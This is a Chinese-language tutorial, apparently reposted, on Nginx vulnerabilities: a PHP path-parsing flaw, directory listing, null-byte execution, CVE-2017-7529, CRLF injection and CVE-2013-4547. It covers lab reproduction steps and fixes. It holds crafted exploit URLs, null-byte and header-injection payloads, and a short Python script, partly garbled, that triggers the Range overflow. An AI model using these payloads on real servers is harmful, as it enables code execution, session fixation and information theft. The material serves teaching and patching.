中間件漏洞篇 - Nginx篇


nginx篇

1.介紹

Nginx是一款輕量級的Web 服務器/反向代理服務器及電子郵件(IMAP/POP3)代理服務器,在BSD-like

協議下發行。其特點是占有內存少,並發能力強,事實上nginx的並發能力確實在同類型的網頁服務器中

表現較好。

3.1.文件解析漏洞

1.漏洞描述

該漏洞是由於Nginx中php配置不當而造成的,與Nginx版本無關,但在高版本的php中,由於security.limit_extensions的引入,使得該漏洞難以被成功利用。

在已經上傳了惡意1.jpg文件后,訪問/1.jpg/xxx.php,(路徑修復cgi.fix_pathinfo=1后使得Nginx將其解析為php文件傳給php-cgi程序

(傳給路徑位於SERVER["SCRIPT_FILENAME"],修復去除路徑位於SERVER["PATH_INFO"]),但cgi程序將其解析為1.jpg並執行。

2.漏洞復現

使用phpstudy nginx php5.2

image-20211026162911218

cgi.fix_pathinfo=1時存在此漏洞

image-20211026162252437

image-20211026162712302

image-20211026162703211

3.漏洞原理分析

Nginx的處理程序和FastCGI處理程序不同導致

Nginx拿到URI為/1.jpg/xxx.php后,識別處后綴是.php,認為是php文件,轉交給PHP FastCGI處理程

序去處理。PHP FastCGI處理程序識別該URI: /1.jpg/xxx.php不存在,按照PHP FastCGI處理程序自己

的規則,刪去最后的/xxx.php,又看/1.jpg存在,就將/1.jpg當成要執行的文件,就成功解析。

Nginx傳送給PHP FastCGI處理程序的路徑可以在phpinfo中查看【傳送路徑查看】

image-20211026163031586

cgi.fix_pathinfo為php中的一個選項,默認開啟為1,作用為修理路徑,也就是對路徑URI的處理規范

image-20211026163058466

當php遇到文件路勁為/1.jpg/xxx.php/ss.001時,該文件不存在,會刪除最后的/ss.001,再判

斷/1.jpg/xxx.php是否存在,若存在則將/1.jpg/xxx.php當作/1.jpg/xxx.php/ss.001文件,若不存在,則

繼續刪除最后一個路徑。刪除的多余路徑會存在PATH_INFO中,在這里為ss.001

image-20211026163116070

4.修復方案

1、 將php.ini文件中的cgi.fix_pathinfo的值設置為0,這樣php再解析1.php/1.jpg這樣的目錄時,只要1.jpg
不存在就會顯示404頁面

2、 php-fpm.conf中的security.limit_extensions后面的值設置為.php

目錄遍歷漏洞

Nginx的目錄遍歷與apache一樣,屬於配置方面的問題,錯誤的配置可導致目錄遍歷與源碼泄露。

漏洞原理

修改nginx.conf,在如下圖位置添加autoindex on

autoindex on;

autoindex on 開啟目錄瀏覽 autoindex off關閉目錄瀏覽 默認是關閉狀態

漏洞復現

在nginx的配置文件中

image-20211026164208799

image-20211026164341844

可目錄遍歷

image-20211026164500873

4.漏洞修復

1.設置 autoindex off 關閉目錄瀏覽

2.刪除 autoindex on

空字節代碼執行漏洞

漏洞描述

在使用PHP-FastCGI執行php的時候,URL里面在遇到%00空字節時與FastCGI處理不一致,導致可在非

php文件中嵌入php代碼,通過訪問url+%00.php來執行其中的php代碼。如:

http://local/robots.txt.php會把robots.txt文件當作php來執行。

影響版本:

nginx 0.5.* 
nginx 0.6.* 
nginx 0.7 <= 0.7.65 
nginx 0.8 <= 0.8.37

漏洞復現

開啟nginx

image-20211027003922530在網站目錄下添加1.jpg文件

image-20211027003941740

訪問該文件

image-20211027003954790

4)抓包,添加%00

這里由於該圖非正常,在抓包時最后面添加..,可以讓burpsuite抓到

image-20211027004015821

將請求修改為:

/1.jpg..php

image-20211027004042346

發包即可

image-20211027004057900

3.漏洞修復

1.在nginx虛擬機配置或者fcgi.conf配置加如下代碼:

if ($request_filename ~* (.*)\.php) { 
set $php_url $1; 
}
if (!-e $php_url.php) {
return 403; 
}

2.升級 nginx

整數溢出漏洞(CVE-2017-7529)

漏洞描述

在 Nginx 的 range filter 中存在整數溢出漏洞,可以通過帶有特殊構造的 range 的 HTTP 頭的惡意請求

引發這個整數溢出漏洞,並導致信息泄露。

該漏洞影響所有 0.5.6 - 1.13.2版本內默認配置模塊的Nginx只需要開啟緩存攻擊者即可發送惡意請求進

行遠程攻擊造成信息泄露。當Nginx服務器使用代理緩存的情況下攻擊者通過利用該漏洞可以拿到服務

器的后端真實IP或其他敏感信息。

通過我們的分析判定該漏洞利用難度低可以歸屬於low-hanging-fruit的漏洞在真實網絡攻擊中也有一定

利用價值。

漏洞復現

https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2017-7529

檢測腳本

#!/usr/bin/env python 
import sys 
import requests 
if len(sys.argv) < 2:
	print("%s url" % (sys.argv[0]))
	print("eg: python %s http://your-ip:8080/" % (sys.argv[0])) 
	sys.exit() 
	
headers = { 
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240" 
}
offset = 605 
url = sys.argv[1] file_len = len(requests.get(url, headers=headers).content) n = file_len + offset 
headers['Range'] = "bytes=-%d,-%d" % ( 
	n, 0x8000000000000000 - n) 
r = requests.get(url, headers=headers)

3.漏洞修復

升級版本

CRLF注入漏洞

漏洞描述

Nginx將傳入的url進行解碼,對其中的%0a%0d替換成換行符,導致后面的數據注入至頭部,造成CRLF

注入漏洞。

2.漏洞復現

設置https跳轉,這樣就可以接收到url,進而進行處理。在

C:\phpStudy\PHPTutorial\nginx\conf\nginx.conf文件中添加下面一行話。

location / {
	return 302 https://$host$uri; 
}

image-20211027005805491

一個正常的302跳轉包如下圖:

img

抓包發送repeater模式下修改包的內容(注入一個換行,在http頭里注入了cookie,如下圖)與url直接(上面)訪問抓包,他們的返回包都是一樣的。

http://192.168.189.139:8080/ Set-cookie:JSPSESSID%3Ddrops

此時的返回包如下圖:

img

查看惡意數據是否在響應頭中輸出

將修改后的請求包提交給服務器端,查看服務器端的響應。發現響應首部中多了個Set-Cookie字段。這就證實了該系統存在CRLF注入漏洞,因為我們輸入的惡意數據,作為響應首部字段返回給了客戶端。

這個時候這樣我們就給訪問者設置了一個SESSION,造成一個“會話固定漏洞”。 當然,CRLF並不僅限於會話固定,通過注入兩個CRLF就能造成一個無視瀏覽器Filter的反射型XSS。 比如一個網站接受url參數http://192.168.189.137:8080/?url=xxx,xxx放在Location后面作為一個跳轉。如果我們輸入的是:

http://192.168.189.137:8080/url= /

我們的返回包就會變成這樣:

img

這樣就造成了反射型xss

參考:https://www.cnblogs.com/null1433/p/12725776.html

文件名邏輯漏洞(CVE-2013-4547)

1.漏洞描述

這一漏洞的原理是非法字符空格和截止符(\0)會導致Nginx解析URI時的有限狀態機混亂,此漏洞可導

致目錄跨越及代碼執行,其影響版本為:nginx 0.8.41 – 1.5.6

漏洞影響版本

Nginx 0.8.41~1.4.3

Nginx 1.5.0~1.5.7

2.漏洞復現

創建 1.jpg 文件,並上傳

vulnhub提供的漏洞環境為例,我們首先看一下前端頁面

image-20211027011946567

image-20211027012004267

可以看到上傳成功

image-20211027012018884

訪問該文件,burpbuite抓包處理

訪問URL:http://192.168.112.111/1.jpg...php

在burp的hex頁面中將第一個點.改成20,第二個改為00

image-20211027012038922

3.漏洞修復

1.升級nginx

參考:https://www.cnblogs.com/yuzly/p/11221564.html

https://www.cnblogs.com/bmjoker/p/9838600.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM